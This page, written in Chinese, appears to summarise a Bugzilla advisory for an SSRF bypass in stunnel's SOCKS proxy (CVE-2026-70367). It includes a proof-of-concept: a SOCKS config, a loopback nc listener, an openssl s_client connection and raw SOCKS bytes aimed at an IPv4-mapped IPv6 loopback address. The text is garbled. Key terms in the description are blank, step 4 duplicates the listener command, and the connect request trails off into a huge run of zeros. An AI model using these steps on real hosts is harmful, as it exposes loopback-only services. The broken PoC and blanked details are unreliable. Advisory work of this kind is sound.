漏洞概述 漏洞编号：Bug 2462083 (CVE-2026-70367) 漏洞名称：stunnel: SSRF bypass in stunnel SOCKS proxy via IPv4-mapped IPv6 loopback and unspecified addresses allows access to loopback-only services 报告时间：2026-04-26 18:12:32 UTC by OSIDB Bzreport 修改时间：2026-04-26 18:30:30 UTC (history) CC List：3 users (show) 状态：NEW 别名：CVE-2026-70367 产品：Security Response 组件：vulnerability 版本：unspecified 硬件：All 操作系统：Linux 优先级：medium 严重程度：medium 目标里程碑：--- Assignee：Product Security DevOps Team QA Contact：--- Docs Contact：--- URL：--- Whiteboard：--- Depends On：--- Blocks：--- TreeView：depends on 0 blocked 影响范围 受影响软件：stunnel-5.72-8.el10 漏洞类型：SSRF（服务端请求伪造） 漏洞描述：stunnel 配置的 SOCKS 代理仅拒绝 和 ，允许客户端绕过本地回环过滤器，通过 和在某些平台上 或 访问仅限回环的服务。 利用要求： - 软件必须部署为 SOCKS 服务器模式（ ）。 - 攻击者必须能够到达监听器，并且服务必须绑定到 stunnel 主机上的回环。 - 某些部署可能额外通过网络策略或 TLS 客户端认证限制访问。 - 最强的复现利用通过 ，而 和 变体是额外的边缘情况，可能依赖于操作系统。 受影响组件： 的 中的 函数。 版本影响： 当配置为 时。 补丁可用性：没有发布修复补丁；建议的补丁包含在报告中。 上游版本：未知 上游协调：未通知。 修复方案 补丁可用：无发布补丁；建议的补丁包含在报告中。 补丁内容： POC 代码 POC 代码： ```bash 1. Configure stunnel SOCKS server: [socks_server] protocol = socks accept = 127.0.0.1:9000 cert = stunnel.pem key = stunnel.key 2. Start a localhost-only target service on the same host: bash nc -lv 127.0.0.1 18000 3. Open a TLS session to stunnel and perform SOCKS handshake: bash openssl s_client -quiet -connect 127.0.0.1:9000 4. Send method negotiation bytes 05 01 00: bash nc -lv 127.0.0.1 18000 5. Send a connect request to ::ffff:127.0.0.1:18000: 05 01 00 04 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000